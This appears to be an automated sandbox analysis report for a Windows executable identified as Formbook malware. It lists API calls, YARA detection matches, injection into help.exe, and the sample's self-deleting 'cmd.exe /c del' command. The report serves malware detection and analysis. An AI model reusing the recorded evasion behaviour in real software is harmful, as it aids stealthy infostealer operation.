Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09610 NtEnumerateValueKey,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A095F0 NtQueryInformationFile,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09520 NtWaitForSingleObject,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A0AD30 NtSetContextThread,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A09560 NtWriteFile,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032F8390 NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032F8260 NtReadFile,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032F82E0 NtClose,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032F81B0 NtCreateFile,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032F838B NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032F82AC NtReadFile,

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014DB284
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014DC2D0
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014D99B0
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014DDF9B
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_052BE0E8
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_052BD240
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_052BDAE8
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_052BADF8
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_052BAE08
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_00401030
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041B8B1
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041B963
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_00408C4B
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_00408C50
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041B493
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041B496
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041C539
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_00402D89
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_00402D90
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041CE85
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041BF12
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041C795
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_00402FB0
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0186F900
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01884120
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187B090
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018920A0
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019320A8
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019328EC
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01921002
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0193E824
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0189EBB0
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192DBD2
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019203DA
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01932B28
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019322AE
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0191FA2B
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01892581
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_019325DD
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187D5E0
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01932D07
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01860D20
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01931D55
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0187841F
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192D466
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0193DFCE
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01931FF1
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01932EF7
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0192D616
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_01886E30
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FEBB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8DBD2
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A92B28
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A922AE
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CF900
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039E4120
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A920A8
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DB090
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F20A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A928EC
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A81002
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A91FF1
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A92EF7
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039E6E30
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8D616
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F2581
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A925DD
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DD5E0
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A92D07
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C0D20
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A91D55
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D841F
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8D466
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FB954
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FB8B1
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FBF12
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032E2FB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FC795
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FCE85
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FC539
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032E2D89
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032E2D90
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032E8C4B
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032E8C50
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FB496
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FB493

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: String function: 0186B150 appears 45 times
Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 039CB150 appears 35 times

Source: SKlGhwkzTi.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: SKlGhwkzTi.exe	Binary or memory string: OriginalFilename vs SKlGhwkzTi.exe
Source: SKlGhwkzTi.exe, 00000000.00000002.691758486.0000000008C10000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs SKlGhwkzTi.exe
Source: SKlGhwkzTi.exe, 00000000.00000002.678186974.0000000000942000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSoapOption.exe. vs SKlGhwkzTi.exe
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameKygo.dll* vs SKlGhwkzTi.exe
Source: SKlGhwkzTi.exe, 00000000.00000002.691169517.0000000007480000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDSASignature.dll@ vs SKlGhwkzTi.exe
Source: SKlGhwkzTi.exe	Binary or memory string: OriginalFilename vs SKlGhwkzTi.exe
Source: SKlGhwkzTi.exe, 00000004.00000002.764137531.000000000195F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SKlGhwkzTi.exe
Source: SKlGhwkzTi.exe, 00000004.00000002.761811924.0000000000E02000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSoapOption.exe. vs SKlGhwkzTi.exe
Source: SKlGhwkzTi.exe, 00000004.00000002.763603378.00000000015A9000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameHelp.Exej% vs SKlGhwkzTi.exe
Source: SKlGhwkzTi.exe	Binary or memory string: OriginalFilenameSoapOption.exe. vs SKlGhwkzTi.exe

Source: SKlGhwkzTi.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.SKlGhwkzTi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.SKlGhwkzTi.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.SKlGhwkzTi.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.SKlGhwkzTi.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.0.SKlGhwkzTi.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.0.SKlGhwkzTi.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.0.SKlGhwkzTi.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.0.SKlGhwkzTi.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.SKlGhwkzTi.exe.3de9930.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.SKlGhwkzTi.exe.3de9930.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: SKlGhwkzTi.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@8/1@8/7

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SKlGhwkzTi.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6932:120:WilError_01

Source: SKlGhwkzTi.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: Select * from Aluguel Erro ao listar Banco sql-Aluguel.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE id=@id;
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE modelo=@modelo;
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO SecurityLogonType VALUES(@modelo, @fabricante, @ano, @cor);
Source: SKlGhwkzTi.exe, 00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonTypeErro ao listar Banco sql-SecurityLogonType,Select from SecurityLogonType WHERE id=@id;Select * from SecurityLogonType WHERE (modelo LIKE @modelo)

Source: SKlGhwkzTi.exe	Virustotal: Detection: 31%
Source: SKlGhwkzTi.exe	ReversingLabs: Detection: 41%

Source: SKlGhwkzTi.exe	String found in binary or memory: -start_number {0} -i "{1}{2}"
Source: SKlGhwkzTi.exe	String found in binary or memory: <!--StartFragment -->
Source: SKlGhwkzTi.exe	String found in binary or memory: -start_number {0} -i "{1}{2}"
Source: SKlGhwkzTi.exe	String found in binary or memory: <!--StartFragment -->
Source: SKlGhwkzTi.exe	String found in binary or memory: <<<<<<<3+<!--StartFragment -->
Source: SKlGhwkzTi.exe	String found in binary or memory: %0{0}d;-start_number {0} -i "{1}{2}"

Source: unknown	Process created: C:\Users\user\Desktop\SKlGhwkzTi.exe 'C:\Users\user\Desktop\SKlGhwkzTi.exe'
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process created: C:\Users\user\Desktop\SKlGhwkzTi.exe C:\Users\user\Desktop\SKlGhwkzTi.exe
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\SKlGhwkzTi.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process created: C:\Users\user\Desktop\SKlGhwkzTi.exe C:\Users\user\Desktop\SKlGhwkzTi.exe
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\SKlGhwkzTi.exe'

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: SKlGhwkzTi.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SKlGhwkzTi.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000006.00000000.700218908.0000000005A00000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: SKlGhwkzTi.exe, 00000004.00000002.764137531.000000000195F000.00000040.00000001.sdmp, help.exe, 0000000D.00000002.918935858.00000000039A0000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: SKlGhwkzTi.exe, help.exe
Source:	Binary string: help.pdbGCTL source: SKlGhwkzTi.exe, 00000004.00000002.763881170.0000000001830000.00000040.00000001.sdmp
Source:	Binary string: help.pdb source: SKlGhwkzTi.exe, 00000004.00000002.763881170.0000000001830000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000006.00000000.700218908.0000000005A00000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014D9990 pushfd ; retf
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014D65C8 push esp; retf
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014DAC51 pushfd ; retf
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014DACF1 pushfd ; retf
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014DACAC push eax; iretd
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014DACA8 pushfd ; retf
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014DACA0 pushfd ; retf
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014D55E8 push esp; retf 0002h
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_014D3788 push eax; retf
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_02C3232D push FFFFFF8Bh; iretd
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 0_2_052BA992 pushad ; retf
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041B2A2 push cs; ret
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041B3F2 push eax; ret
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041B3FB push eax; ret
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041B3A5 push eax; ret
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041B45C push eax; ret
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_00415414 push esp; ret
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_00414F46 push cs; ret
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_0041BF12 push dword ptr [8427D5C5h]; ret
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_00415FC5 push ebp; ret
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Code function: 4_2_018BD0D1 push ecx; ret
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A1D0D1 push ecx; ret
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FB3A5 push eax; ret
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FB3FB push eax; ret
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FB3F2 push eax; ret
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FB2A2 push cs; ret
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FBF12 push dword ptr [8427D5C5h]; ret
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032F4F46 push cs; ret
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032F5FC5 push ebp; ret
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032F5414 push esp; ret
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_032FB45C push eax; ret

Source: initial sample

Static PE information: section name: .text entropy: 7.59789627336

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process information set: NOOPENFILEERRORBOX
